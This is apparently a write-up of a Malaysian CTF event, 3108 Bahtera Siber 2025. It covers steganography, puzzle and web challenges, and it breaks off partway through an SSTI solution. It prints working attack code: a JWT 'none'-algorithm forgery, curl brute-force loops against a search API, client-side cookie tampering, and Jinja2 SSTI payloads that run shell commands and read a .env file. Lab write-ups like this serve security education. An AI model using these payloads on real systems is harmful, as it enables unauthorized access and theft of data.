Page cover

3108 Bahtera Siber 2025

Full Writeup for 30/37 Question
Table of Content

Miscellaneous

Kotak Angkasa

Question

“Di dalam ruang angkasa, di tengah gelap galaksi, tersembunyi sebuah kotak misteri. Kotak ini tidak sekadar permainan biasa – ia menyimpan rahsia yang hanya dapat dipecahkan oleh minda tajam dan tangan yang cekap.

Sebagai pewaris ilmu Dr. Sheikh Muszaphar Shukor, angkasawan pertama Malaysia, Perwira ditugaskan untuk menyelesaikan teka-teki ini. Hanya mereka yang mampu menyusun Kotak Angkasa ke bentuk asalnya akan menemui koordinat rahsia untuk membuka kunci bendera kejayaan.”

http://5.223.66.228:3001/

Solution
  1. Record the video of scrambling

  2. Slowly follow back the step in reverse to solve the Rubic Cube

Flag: 3108{Sh31kh_MuZ4ph4r_5p4c3_73219}


Komik

Question

Dalam ni ada Flag, tinggal copy paste dan ____ je.

https://www.dcode.fr/

File Given komik.txt

Tags: #unicode-steganography #invisible-characters #misc #3108ctf2025 #zero-width-characters #quaternary-encoding #binary-decoding

Solution

First, I examined all the provided files:

Key Observations:

  • komik.txt contains Malaysian text about a comic book called "Fried Rice" by Erica Eng

  • The file appears larger than expected for the visible text content, suggesting hidden data

The suspiciously large file size compared to visible content suggested Unicode steganography - a technique where invisible/zero-width Unicode characters are used to hide data within normal text. To investigate, I examined the Unicode codepoints in the file.

Common invisible Unicode characters:

  • U+200C - Zero Width Non-Joiner (ZWNJ)

  • U+200D - Zero Width Joiner (ZWJ)

  • U+FEFF - Byte Order Mark (BOM) / Zero Width No-Break Space

  • U+202C - Pop Directional Formatting (PDF)

I created a Python script to analyze the invisible characters embedded in the text:

#!/usr/bin/env python3
"""
Extracts hidden data from invisible Unicode characters
"""

# Read the komik.txt file
with open('komik.txt', 'r', encoding='utf-8') as f:
    text = f.read()

print("Original text length:", len(text))
print("First 100 chars:", repr(text[:100]))

# Extract invisible characters and their positions
invisible_chars = []
visible_text = ""

for i, char in enumerate(text):
    # Check if character is invisible/zero-width
    if ord(char) in [0x200C, 0x200D, 0xFEFF, 0x202C, 0x061C, 0x2066, 0x2067, 0x2068, 0x2069]:
        invisible_chars.append((i, char, ord(char), hex(ord(char))))
    else:
        visible_text += char

print(f"\nFound {len(invisible_chars)} invisible characters:")
for pos, char, code, hex_code in invisible_chars[:20]:  # Show first 20
    print(f"Position {pos}: U+{hex_code[2:].upper().zfill(4)} ({code})")

# Count occurrences of each invisible character
from collections import Counter
char_counts = Counter([hex_code for _, _, _, hex_code in invisible_chars])
print(f"\nInvisible character frequencies:")
for char, count in char_counts.items():
    print(f"{char}: {count}")

Results:

  • Found 176 invisible characters total

  • Character frequency distribution:

    • U+200C (ZWNJ): 114 occurrences

    • U+FEFF (BOM): 26 occurrences

    • U+200D (ZWJ): 23 occurrences

    • U+202C (PDF): 13 occurrences

With 4 different invisible characters, I assume this was a quaternary encoding system (base-4) where each character represents a 2-bit value.

I developed multiple decoding strategies:

# Strategy: Quaternary encoding mapped to binary
strategies = [
    # Binary with 2 most common chars
    {"name": "Binary (ZWNJ=0, ZWJ=1)", 
     "mapping": {'\u200c': '0', '\u200d': '1'}, 
     "ignore_others": True},
    
    # Binary (BOM=0, ZWNJ=1)  
    {"name": "Binary (BOM=0, ZWNJ=1)",
     "mapping": {'\ufeff': '0', '\u200c': '1'},
     "ignore_others": True},
     
    # Quaternary to binary (by Unicode value order)
    {"name": "Quaternary (by Unicode value)",
     "mapping": {'\u200c': '00', '\u200d': '01', '\u202c': '10', '\ufeff': '11'},
     "ignore_others": False},
]

def try_decode_binary(binary_str):
    """Try to decode binary string as ASCII"""
    if len(binary_str) % 8 != 0:
        # Pad with zeros if needed
        binary_str = binary_str.ljust((len(binary_str) + 7) // 8 * 8, '0')
    
    try:
        result = ""
        for i in range(0, len(binary_str), 8):
            byte = binary_str[i:i+8]
            if len(byte) == 8:
                char_code = int(byte, 2)
                if 32 <= char_code <= 126:  # Printable ASCII
                    result += chr(char_code)
                else:
                    result += f"[{char_code}]"
        return result
    except:
        return "DECODE_ERROR"

Character Mapping:

  • \u200c (U+200C) → 00

  • \u200d (U+200D) → 01

  • \u202c (U+202C) → 10

  • \ufeff (U+FEFF) → 11

Complete Solution Script

#!/usr/bin/env python3
"""
Complete solution 
"""

def solve_komik_challenge():
    # Read the file containing hidden Unicode characters
    with open('komik.txt', 'r', encoding='utf-8') as f:
        text = f.read()
    
    # Extract invisible characters
    invisible_chars = []
    for char in text:
        if ord(char) in [0x200C, 0x200D, 0xFEFF, 0x202C]:
            invisible_chars.append(char)
    
    print(f"Found {len(invisible_chars)} invisible characters")
    
    # Define the quaternary to binary mapping
    char_mapping = {
        '\u200c': '00',  # U+200C (ZWNJ)
        '\u200d': '01',  # U+200D (ZWJ)
        '\u202c': '10',  # U+202C (PDF)
        '\ufeff': '11'   # U+FEFF (BOM)
    }
    
    # Convert to binary string
    binary_str = ""
    for char in invisible_chars:
        if char in char_mapping:
            binary_str += char_mapping[char]
    
    print(f"Binary string length: {len(binary_str)} bits")
    
    # Decode binary to ASCII
    flag = ""
    for i in range(0, len(binary_str), 8):
        byte = binary_str[i:i+8]
        if len(byte) == 8:
            char_code = int(byte, 2)
            if char_code != 0:  # Skip null bytes
                flag += chr(char_code)
    
    return flag

if __name__ == "__main__":
    flag = solve_komik_challenge()
    print(f"\n🚩 FLAG: {flag}")

Decoding Process:

  1. Extract all 176 invisible characters in sequence

  2. Map each character to its 2-bit binary representation

  3. Concatenate all bits to form one long binary string (352 bits total)

  4. Split into 8-bit bytes and convert to ASCII characters

Decoded Output:

[0]3[0]1[0]0[0]8[0]{[0]e[0]1[0]s[0]n[0]e[0]r[0]_[0]r[0]1[0]c[0]3[0]_[0]b[0]0[0]0[0]k[0]}

Where [0] represents null bytes (0x00).

Removing the null bytes revealed the flag:

Flag: 3108{e1sner_r1c3_b00k}


Permainan Lagenda

Question

Di sinilah bermulanya era permainan video sebelum wujudnya MLBB, PUBG, CSGO dan lain-lain. Bantu Soloz dalam permainan ini untuk mendapatkan flag.

https://ular.bahterasiber.my

Solution
  1. The goals is to get 400 Points

  2. Each food give you 10 point

  3. Found snake_score at local storage

  4. Change the value to 390 then continue play to get 400 point and flag revealed

Flag: 3108{ul4r_l3gend}


Ke Makam Bonda

Question

Sebuah puisi agung dari Almarhum Dato' Usman Awang kini bersemadi dalam bentuk alunan suara. Irama dan kata menyimpan dua bahagian rahsia :–

Yang awal terzahir jika dipandang, bukan didengar; Yang akhir terkunci dalam gema yang lebih dalam, hanya dibuka oleh nama pena seorang sasterawan negara.

Temui kedua-dua bahagian bendera, dan satukanlah.

File Given: UNIC-Ke_Makam_Bonda.wav, README.md

Tags: steganography audio-analysis spectrogram steghide malaysian-literature multi-layer id3-metadata

Solution

File Analysis:

file UNIC-Ke_Makam_Bonda.wav
# Output: UNIC-Ke_Makam_Bonda.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz

README Content:

Usman Awang merupakan seorang sasterawan Malaysia, beliau ialah seorang penyair dan ahli drama yang prolifik ketika hayatnya. 
Cabaran ini diilhamkan daripada warisan puisi Usman Awang yang bertajuk "Ke Makam Bonda", dan pernah dilagukan oleh kumpulan nasyid UNIC.

🔍 Terdapat DUA bahagian bendera tersembunyi dalam fail audio ini:

🔎 Petunjuk untuk Bahagian Pertama:
"Bait-bait rahsia, lihat dengan mata bukan telinga."

🔐 Petunjuk untuk Bahagian Kedua:
"Nama pena-nya di alam sastera, dua kata, yang menjadi kunci kepada sebuah rahsia."

Semoga berjaya dan Selamat Hari Merdeka! 🇲🇾

Part 1

Based on the hint "lihat dengan mata bukan telinga", we need to analyze the audio visually.

  1. Throw the audio to audacity

  2. Change the view to spectrogram

  3. Examining the spectrogram revealed text patterns 3108{Bondaku_Y4ng_Disayangi


Part 2

The hint mentioned "Nama pena-nya di alam sastera, dua kata"

  • Research revealed Usman Awang used the pseudonym "Tongkat Warrant"

  • This consists of exactly two words as hinted

  1. Try detect steghide and use passphrase: Tongkat Warrant

    1. steghide info UNIC-Ke_Makam_Bonda.wav
      
      "UNIC-Ke_Makam_Bonda.wav":
           format: wave audio, PCM encoding
           capacity: 1.4 MB
         Try to get information about embedded data ? (y/n) y
         Enter passphrase: Tongkat Warrant
           embedded file "Usman Awang.pdf":
             size: 264.9 KB
             encrypted: rijndael-128, cbc
             compressed: yes
  1. Confirmed something embedded and extract hidden content

    1. steghide extract -sf UNIC-Ke_Makam_Bonda.wav
      Enter passphrase: Tongkat Warrant
      wrote extracted data to "Usman Awang.pdf".
  1. Analyze the Usman Awang.pdf and get the second half of the flag _Sem0ga_Dirahmati}

Flag: 3108{Bondaku_Y4ng_Disayangi_Sem0ga_Dirahmati}


Seniman Agung

Question

"Di sebalik kehebatan filem-filem P. Ramlee, ada satu rahsia tersembunyi yang hanya peminat tegar mampu temui. Laman web penghormatan ini kelihatan biasa sahaja, tetapi seni dan nostalgia yang terpampang sebenarnya menyimpan sesuatu yang bernilai. Adakah anda mampu menghayati karya agung beliau dan membongkar rahsianya?"

Instance: http://host:port

Tags: web-exploitation hidden-content bruteforce search-functionality blind-search

Solution

Analyzing the Web Application

The challenge presents a P. Ramlee themed website with a search functionality. The page contains:

<div class="description">
    Selamat datang ke laman nostalgia! Di sini tersimpan coretan kisah lama. 
    Kalau rajin, cuba <b>taip 4 huruf</b> untuk mencari rahsia tersembunyi. 😉
</div>

The hint mentions "taip 4 huruf", suggesting the search requires exactly 4 characters.

API Endpoint Discovery

Through examining the JavaScript code, I identified two main API endpoints:

  1. GET /api/posts - Returns all posts

  2. POST /api/search - Searches posts with a query

Step 3: Examining the Data Structure

curl -s "http://5.223.66.228:43623/api/posts" | jq .

Response reveals 10 posts, including:

{
  "id": 3,
  "title": "Petunjuk Misteri",
  "content": "Ada rahsia di sini... *************************",
  "author": "misteri",
  "date": "1960-03-01"
}

Post ID 3 contains asterisks that likely hide content.


Testing Search Functionality

  • Search requires exactly 4 characters

  • Queries with < 4 or > 4 characters return: {"error":"Query must be 4 characters."}

Discovery

When testing the challenge name "3108":

  • Post ID 3 (with asterisks) appeared in results, despite "3108" not being visible in the displayed content!

  • The asterisks are hiding content that contains "3108".

  • Testing revealed that "108{" also matched post ID 3:

  • This confirmed the hidden content follows the flag format: 3108{...}


Bruteforce

Since we need exactly 4-character substrings and know the flag starts with "3108{", I developed a systematic approach:

  1. Find the character after "08{" (3 chars + 1 new = 4 chars total)

  2. Continue with next 4-char substring

  3. Repeat until complete flag is discovered

#!/bin/bash
# Testing characters after "08{"
for c in {A..Z}; do 
    result=$(curl -s -X POST -H "Content-Type: application/json" -d "{\"query\":\"08{$c\"}" "http://5.223.66.228:43623/api/search" | jq -r '.results[]? | select(.id==3) | .id // empty')
    if [ ! -z "$result" ]; then
        echo "FOUND: 08{$c matches post ID 3!"
    fi
done

Result: 08{B matched post ID 3!

Step 9: Automated Flag Discovery

#!/bin/bash
# Character sets to test
numbers="0123456789"
lowercase="abcdefghijklmnopqrstuvwxyz" 
uppercase="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
symbols="!@#\$%^&*()-_=+[]{}\\|;:'\",.<>?/~\`"
all_chars="$numbers$lowercase$uppercase$symbols"

# Function to test if a 4-char substring matches post ID 3
test_substring() {
    local query="$1"
    if [ ${#query} -ne 4 ]; then
        return 1
    fi
    
    local result=$(curl -s -X POST -H "Content-Type: application/json" -d "{\"query\":\"$query\"}" "http://5.223.66.228:43623/api/search" 2>/dev/null | jq -r '.results[]? | select(.id==3) | .id // empty' 2>/dev/null)
    
    if [ ! -z "$result" ]; then
        return 0
    else
        return 1
    fi
}

# Start with known working prefix
current_flag="3108{Bu"
echo "Starting with known prefix: $current_flag"

# Continue building the flag
position=7

while true; do
    echo "Position $position: Testing characters after '${current_flag:(-3)}'"
    found_char=""
    
    # Test each possible character
    for ((i=0; i<${#all_chars}; i++)); do
        char="${all_chars:$i:1}"
        new_flag="$current_flag$char"
        
        # Get the last 4 characters for testing
        if [ ${#new_flag} -ge 4 ]; then
            test_substr="${new_flag:(-4)}"
            
            if test_substring "$test_substr"; then
                echo "✅ FOUND: '$test_substr' matches! Character '$char' found at position $position"
                found_char="$char"
                current_flag="$new_flag"
                break
            fi
        fi
    done
    
    if [ -z "$found_char" ]; then
        echo "❌ No more characters found. Flag discovery complete!"
        break
    fi
    
    echo "Current flag: $current_flag"
    position=$((position + 1))
done
echo "Discovered flag: $current_flag"

Character-by-Character Discovery:

  1. "08{B" → Found 'B'

  2. "8{Bu" → Found 'u'

  3. "{Buj" → Found 'j'

  4. "Buj4" → Found '4'

  5. "uj4n" → Found 'n'

  6. "j4ng" → Found 'g'

  7. "4ngL" → Found 'L'

  8. "ngL4" → Found '4'

  9. "gL4p" → Found 'p'

  10. "L4p0" → Found '0'

  11. "4p0k" → Found 'k'

  12. "p0k_" → Found '_'

  13. "0k_M" → Found 'M'

  14. "k_M3" → Found '3'

  15. "_M3r" → Found 'r'

  16. "M3rd" → Found 'd'

  17. "3rd3" → Found '3'

  18. "rd3k" → Found 'k'

  19. "d3k4" → Found '4'

  20. "3k4}" → Found '}' (End!)

Flag: 3108{Buj4ngL4p0k_M3rd3k4}


Kotak Angkasa 2

Question

Untuk menakluki cabaran ini, Perwira perlu menguasai bukan sahaja logik dan strategi, tetapi juga kesabaran seorang angkasawan yang mengembara di ruang kosong tanpa sempadan. Mampukah anda mengembalikan keseimbangan Kotak Angkasa ini dan membongkar rahsia bendera tersembunyi?”

Instance: nc host port

Tags: rubiks-cube kociemba algorithm malaysia-space network-service misc cube-solving

Solution
nc 5.223.66.228 58740

            🇲🇾  MISI ANGKASA MALAYSIA  🇲🇾
       ___       __   __  ___  __    __   _______   ________  ________     
      |\  \     |\  \|\  \|\  \|\  \ |\  \|\  ___ \ |\   __  \|\   ___ \    
      \ \  \    \ \  \ \  \ \  \ \  \\_\  \ \   __/|\ \  \|\  \ \  \_|\ \   
       \ \  \  __\ \  \ \  \ \  \ \______  \ \  \_|/_\ \   __  \ \  \ \\ \  
        \ \  \|\__\_\  \ \  \ \  \|_____|\  \ \  \_|\ \ \  \ \  \ \  \_\\ \ 
         \ \____________\ \__\ \__\     \ \__\ \_______\ \__\ \__\ \_______\
          \|____________|\|__|\|__|      \|__|\|_______|\|__|\|__|\|_______|

    "Satu langkah kecil untuk Sheikh Muszaphar, 
     satu lompatan besar untuk Malaysia ke angkasa lepas!"

      🛰️  Simulator Latihan Angkasawan Malaysia Pertama
      🌌  Selesaikan Rubik's Cube dalam Zero Gravity untuk kod misi!

Selamat datang, Kadet Angkasa! 🌌
Anda kini berada dalam modul Soyuz TMA-11 bersama ikon negara, Sheikh Muszaphar Shukor.
Misi anda: Buktikan orientasi ruang dengan menyelesaikan Rubik's Cube di angkasa lepas!

=== STATUS CUBE (Zero-G) ===
          R  Y  Y                   
          G  W  Y                   
          B  B  Y                   
 B  Y  O  W  W  G  O  O  R  G  R  Y 
 R  O  G  W  G  W  R  R  G  O  B  B 
 Y  W  W  G  B  W  B  B  G  W  G  O 
          O  O  R                   
          O  Y  Y                   
          B  R  R                   

Masukkan pergerakan cube (space-separated): 
  1. This is a Rubik's Cube solving challenge

  2. The cube is displayed in an unfolded net format

  3. We need to input moves in standard notation (R, U, F, etc.)

Understanding the Cube Format

The cube is shown in this layout:

    U U U
    U U U  
    U U U
L L L F F F R R R B B B
L L L F F F R R R B B B
L L L F F F R R R B B B
    D D D
    D D D
    D D D

Where:

  • U = Up face (top)

  • L = Left face

  • F = Front face

  • R = Right face

  • B = Back face

  • D = Down face (bottom)

Kociemba Algorithm

After researching Rubik's cube CTF challenges, I discovered that these often require professional-grade solvers like the Kociemba algorithm.

Manual patterns don't work because:

  1. The cube states are randomly generated

  2. Each connection gives a different scrambled state

  3. Only an optimal solving algorithm can handle arbitrary scrambles


Solution Script

#!/usr/bin/env python3

import socket
import time
import sys
import os

# Add the virtual environment to the path
sys.path.insert(0, '/home/kali/TFS CTF/3108CTF2025/Misc_Kotak_Angkasa_2/cube_solver/lib/python3.13/site-packages')

try:
    import kociemba
except ImportError:
    print("kociemba not found. Make sure it's installed in the virtual environment.")
    sys.exit(1)

def parse_cube_state(output):
    """Parse the cube state from the service output"""
    lines = output.split('\n')
    cube_lines = []
    in_cube_section = False
    
    for line in lines:
        if "=== STATUS CUBE" in line:
            in_cube_section = True
            continue
        elif in_cube_section and line.strip() and not line.startswith("Masukkan"):
            # Clean the line and extract colors
            clean_line = line.strip()
            if clean_line:
                cube_lines.append(clean_line)
        elif "Masukkan pergerakan" in line:
            break
    
    return cube_lines

def cube_lines_to_kociemba_format(cube_lines):
    """Convert the cube representation to kociemba format"""
    # The service shows cube in this format:
    #     U U U
    #     U U U  
    #     U U U
    # L L L F F F R R R B B B
    # L L L F F F R R R B B B
    # L L L F F F R R R B B B
    #     D D D
    #     D D D
    #     D D D
    
    if len(cube_lines) < 9:
        print(f"Not enough cube lines: {len(cube_lines)}")
        return None
    
    # Extract face data
    try:
        # Top face (U) - lines 0-2
        u_face = []
        for i in range(3):
            colors = cube_lines[i].split()
            u_face.extend(colors)
        
        # Middle faces (L, F, R, B) - lines 3-5
        l_face, f_face, r_face, b_face = [], [], [], []
        for i in range(3, 6):
            colors = cube_lines[i].split()
            if len(colors) >= 12:
                l_face.extend(colors[0:3])
                f_face.extend(colors[3:6])
                r_face.extend(colors[6:9])
                b_face.extend(colors[9:12])
        
        # Bottom face (D) - lines 6-8
        d_face = []
        for i in range(6, 9):
            colors = cube_lines[i].split()
            d_face.extend(colors)
        
        # Kociemba expects: U R F D L B (54 characters total, 9 per face)
        # Map colors to standard representation (W=U, R=R, G=F, Y=D, O=L, B=B)
        color_map = {'W': 'U', 'R': 'R', 'G': 'F', 'Y': 'D', 'O': 'L', 'B': 'B'}
        
        cube_string = ""
        # Order: U R F D L B
        for face in [u_face, r_face, f_face, d_face, l_face, b_face]:
            for color in face:
                if color in color_map:
                    cube_string += color_map[color]
                else:
                    print(f"Unknown color: {color}")
                    return None
        
        if len(cube_string) != 54:
            print(f"Invalid cube string length: {len(cube_string)}, expected 54")
            return None
            
        return cube_string
        
    except Exception as e:
        print(f"Error parsing cube: {e}")
        return None

def solve_cube():
    """Main solving function"""
    try:
        # Connect to the service
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect(("5.223.66.228", 58740))
        
        # Read initial response
        initial_data = ""
        start_time = time.time()
        while time.time() - start_time < 15:
            try:
                sock.settimeout(3)
                data = sock.recv(4096).decode('utf-8', errors='ignore')
                initial_data += data
                if "Masukkan pergerakan" in data:
                    break
            except socket.timeout:
                break
        
        # Parse the cube state
        cube_lines = parse_cube_state(initial_data)
        
        if not cube_lines:
            print("Failed to parse cube state")
            return
        
        # Convert to kociemba format
        cube_string = cube_lines_to_kociemba_format(cube_lines)
        if not cube_string:
            print("Failed to convert to kociemba format")
            return
        
        # Solve using kociemba
        try:
            solution = kociemba.solve(cube_string)
            print(f"Solution found: {solution}")
        except Exception as e:
            print(f"Kociemba solver error: {e}")
            return
        
        if solution:
            # Send solution to service
            sock.send((solution + "\n").encode())
            
            # Read response
            response = ""
            start_time = time.time()
            while time.time() - start_time < 20:
                try:
                    sock.settimeout(3)
                    data = sock.recv(4096).decode('utf-8', errors='ignore')
                    response += data
                    
                    if "3108CTF{" in data or "FLAG{" in data or "flag{" in data:
                        print("FLAG FOUND!")
                        print(data)
                        return data
                        
                    if "Tahniah" in data or "Berjaya" in data or "selesai" in data:
                        print("SUCCESS!")
                        print(data)
                        return data
                        
                    if "Masukkan pergerakan" in data or "belum selesai" in data or "dibatalkan" in data:
                        break
                        
                except socket.timeout:
                    break
            
            print("Full response:")
            print(response)
        
        sock.close()
        
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    solve_cube()

Execution

python3 kociemba_solver.py

Kociemba cube string: DFBBUBBURFDLFRBLUBDRUDFLLRFDBUDDLFFULLRFLLDRBUDFUBURRR
Solution found: R' L' F2 D L2 B D' F2 D' R2 L F2 R2 D' B2 D F2 U' L2 D2 F2
Sending solution: R' L' F2 D L2 B D' F2 D' R2 L F2 R2 D' B2 D F2 U' L2 D2 F2
SUCCESS!

>>> MISI BERJAYA! <<<
Tahniah, Kadet! 🇲🇾 Anda berjaya menyelesaikan Rubik's Cube dalam Zero-G!
Kod Kelulusan Misi: 3108{9a618248b64db62d15b300a07b00580b}
Malaysia Boleh! 🌟 Sheikh Muszaphar pasti bangga dengan anda!

Flag: 3108{9a618248b64db62d15b300a07b00580b}


Web

SuperMokh

Question

Di padang hijau berlari laju, SuperMokh gol tiada terhenti, Walau zaman sudah berlalu, Adakah anda peminat sejati?

https://supermokh.bahterasiber.my

Tags: jwt-vulnerability algorithm-confusion none-algorithm authentication-bypass web-exploitation base64-decoding session-manipulation

Solution

First, I accessed the website and examined the source code:

curl -s "https://supermokh.bahterasiber.my" | grep -E "(comment|base64|hidden)"

Hidden base64 string in HTML comment:

<!-- Z3Vlc3Q6U2VsYW5nb3IxOTcyXzE5ODc= -->
echo "Z3Vlc3Q6U2VsYW5nb3IxOTcyXzE5ODc=" | base64 -d

Output: guest:Selangor1972_1987

  • guest = username

  • Selangor1972_1987 = password


Logging in as Guest User

curl -X POST "https://supermokh.bahterasiber.my/login.php" \
     -d "username=guest&password=Selangor1972_1987" \
     -c guest_session.txt -v
  • Successful login with 302 redirect to dashboard.php

  • Received JWT token in auth_token cookie

  • Also got PHPSESSID for session management

JWT Token Received:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InZpc2l0b3IiLCJpYXQiOjE3NTY0ODA3NzMsImV4cCI6MTc1NjQ4NDM3M30.J5pzKdho1OA6a2CxwaHVzG2tv_aBbTpQz6IYAR66l9E

Decoding the JWT payload:

echo "eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InZpc2l0b3IiLCJpYXQiOjE3NTY0ODA3NzMsImV4cCI6MTc1NjQ4NDM3M30" | base64 -d
{
  "username": "guest",
  "role": "visitor", 
  "iat": 1756480773,
  "exp": 1756484373
}

Testing Dashboard Endpoint

curl -X POST "https://supermokh.bahterasiber.my/dashboard.php" \
     -H "Content-Type: application/json" \
     -d '{"action": "check_access"}' \
     -b guest_session.txt
{"success":false,"message":"Access denied. Only SuperMokh can view the flag. Current user: guest"}

Direct Flag Access Attempt

curl "https://supermokh.bahterasiber.my/flag.php" -b guest_session.txt
  • Access denied - confirms need for "SuperMokh" username.

  • Application checks username specifically for "SuperMokh"

  • Need to forge a JWT token with different username

  • JWT manipulation might be possible


JWT Header Analysis

The original JWT header (base64 decoded):

{"typ":"JWT","alg":"HS256"}
  • Application uses HMAC SHA-256 algorithm

  • Common JWT vulnerabilities:

    1. Algorithm confusion (RS256 → HS256)

    2. None algorithm bypass

    3. Weak secret key

    4. Missing signature verification

Testing "None" Algorithm Attack

Vulnerability: Many JWT implementations improperly handle the "none" algorithm, allowing unsigned tokens.

  1. Create JWT with "alg": "none"

  2. Set username to "SuperMokh"

  3. Remove signature (empty signature section)

Implementation:

import base64
import json

# Create forged JWT header
header = {"typ": "JWT", "alg": "none"}

# Create forged payload with SuperMokh username
payload = {
    "username": "SuperMokh",
    "role": "admin", 
    "iat": 1756480773,
    "exp": 1756484373
}

# Base64 encode (URL-safe, no padding)
header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')

# Create JWT with empty signature (none algorithm)
forged_jwt = f"{header_b64}.{payload_b64}."

print(f"Forged JWT: {forged_jwt}")

Generated Forged JWT:

eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0.eyJ1c2VybmFtZSI6ICJTdXBlck1va2giLCAicm9sZSI6ICJhZG1pbiIsICJpYXQiOiAxNzU2NDgwNzczLCAiZXhwIjogMTc1NjQ4NDM3M30.

Replace the original JWT token in the cookie file:

# Create new cookie file with forged JWT
cp guest_session.txt forged_session.txt

# Replace auth_token with forged JWT (manual edit or sed)
sed -i 's/auth_token\teyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9[^[:space:]]*/auth_token\teyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0.eyJ1c2VybmFtZSI6ICJTdXBlck1va2giLCAicm9sZSI6ICJhZG1pbiIsICJpYXQiOiAxNzU2NDgwNzczLCAiZXhwIjogMTc1NjQ4NDM3M30./' forged_session.txt

Testing Forged Token

curl -X POST "https://supermokh.bahterasiber.my/dashboard.php" \
     -H "Content-Type: application/json" \
     -d '{"action": "check_access"}' \
     -b forged_session.txt
{"success":true,"message":"Access granted! Welcome, legend!"}

Capturing the Flag

curl "https://supermokh.bahterasiber.my/flag.php" -b forged_session.txt

Flag Retrieved:

<div class="flag-box">
    <code>3108{m0kht4r_d4h4r1_l3g3nd_n3v3r_d13s}</code>
</div>

Flag: 3108{m0kht4r_d4h4r1_l3g3nd_n3v3r_d13s}


Pemimpin

Question

Perdana Menteri merupakan ketua kerajaan Malaysia dan memainkan peranan penting dalam menentukan hala tuju negara dan memastikan tanah air terus melangkah ke arah pembangunan serta kesejahteraan rakyat sejak detik kemerdekaan. Persoalannya, adakah anda kenal siapa mereka semua?

https://pemimpin.bahterasiber.my

Tags: #web #ctf #client-side #cookies #tampering #javascript #devtools #polling #insecure-design

Solution

Opening DevTools and reading the bundled files reveals two components:

  • index.html: displays PM cards and includes client.js.

  • client.js: contains all the client logic (and even a comment shouting NO FLAG HERE).

// client.js
window.onload = function() {
  document.cookie = "tahun_merdeka=false; path=/";
  document.cookie = "bulan_merdeka=false; path=/";
  document.cookie = "hari_merdeka=false; path=/";
  startFlagValidation();
};

const correctSequence = ['Tunku', 'Razak', 'Hussein', 'Mahathir', 'Abdullah',
                         'Najib', 'Mahathir2', 'Muhyiddin', 'Ismail', 'Anwar'];
  • Cookies are explicitly initialized to false on load and reset again by the “Mula Semula” button.

  • The entire correct answer (PM order) is hardcoded in correctSequence.

  • Two backend endpoints exist:

    • /validate-sequence — validates the order you submit.

    • /validate-flag — returns the flag iff quizCompleted is true and the Merdeka date cookies are correct.

  • A polling loop is started on page load to call /validate-flag every 2 seconds but only when quizCompleted === true.

function checkForFlag() {
  fetch('/validate-flag', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      cookies: document.cookie,
      quizCompleted: quizCompleted
    })
  })
  .then(r => r.json())
  .then(data => { if (data.success && data.flag) displayFlag(data.flag); });
}

So, there are two gates we must meet on the client:

  1. quizCompleted = true (set when the sequence check succeeds), and

  2. Cookies: tahun_merdeka=1957; bulan_merdeka=8; hari_merdeka=31.


  1. Bypass user interaction by setting the selection state directly from the built-in correctSequence:

    • selectedSequence = correctSequence.slice();

    • Call UI updater: updateSequenceDisplay();

  2. Trigger the “check” to flip quizCompleted to true and start the flag poller:

    • checkSequence();

  3. Satisfy the cookie check by overwriting the three cookies with the Merdeka date:

    • tahun_merdeka=1957 (year), bulan_merdeka=8 (month), hari_merdeka=31 (day).

  4. Sit back— the 2-second poll to /validate-flag returns JSON with the flag, and the banner prints it to the page and logs it in the console.


  1. Open the challenge, press F12 → Console.

  2. Paste and run the following:

    // Set Merdeka (31/8/1957) cookies
    document.cookie = "tahun_merdeka=1957; path=/";
    document.cookie = "bulan_merdeka=8; path=/";
    document.cookie = "hari_merdeka=31; path=/";
    
    // Auto-select the hardcoded correct PM order and submit
    selectedSequence = correctSequence.slice();
    updateSequenceDisplay();
    checkSequence();

Flag: 3188{p3m1mp1n_m4l4ysI4}


Pelumba Negara

Question

Arkib digital ini telah dibangunkan untuk pemandu F1 pertama Malaysia. Walau bagaimanapun, sistem ini ada kelemahan dan dapatkah anda untuk mengumpul semua serpihan maklumat bersejarah yang disembunyikan?

Instance: http://host:port

Tags: #ssti #template-injection #jinja2 #rce #file-enumeration #multi-part-flag #web-exploitation

Solution

The application appeared to be an archive system for Alex Yoong, Malaysia's first Formula 1 driver, with a form that accepts user input.

I tested for Server-Side Template Injection (SSTI) by submitting template syntax in the form:

Initial Test Payload:

curl -s -X POST -d 'name={{ 7*7 }}' http://5.223.66.228:44347/

When the application returned 49 instead of {{ 7*7 }}, this confirmed the presence of SSTI vulnerability, likely using Jinja2 template engine (common in Flask applications).

I escalated the SSTI to RCE using the following payload to access Python's os module through Jinja2's global objects:

RCE Test Payload:

curl -s -X POST -d 'name={{ cycler.__init__.__globals__.os.popen("ls -la").read() }}' http://5.223.66.228:44347/ | grep -A5 'result-content'

Output:

total 32
drwxr-xr-x 1 ctfuser ctfuser 4096 Aug 28 03:23 .
drwxr-xr-x 1 root    root    4096 Aug 29 18:08 ..
-rw-rw-r-- 1 ctfuser ctfuser  219 Jul 28 20:32 .env
-rw-rw-r-- 1 ctfuser ctfuser  380 Aug 14 08:17 Minardi2002.txt
-rw-rw-r-- 1 ctfuser ctfuser  444 Jul 28 20:27 flag.txt

I found a .env file which typically contains configuration and sensitive information:

Command:

curl -s -X POST -d 'name={{ cycler.__init__.__globals__.os.popen("cat .env").read() }}' http://5.223.66.228:44347/ | grep -A20 'result-content'

.env Contents:

# Alex Yoong F1 Career Configuration
# Malaysia's First Formula 1 Driver Database

# F1 Career Files
F1_DEBUT_YEAR_FILE=/usr/1976.txt
MALAYSIAN_DRIVER_DATA=/var/malaysia.txt
SEPANG_CIRCUIT_INFO=/tmp/f1.txt

This revealed three important file paths that likely contained flag fragments!

Collecting Flag Fragments

Based on the .env file, I systematically read each flag file:

Fragment 1: /tmp/f1.txt

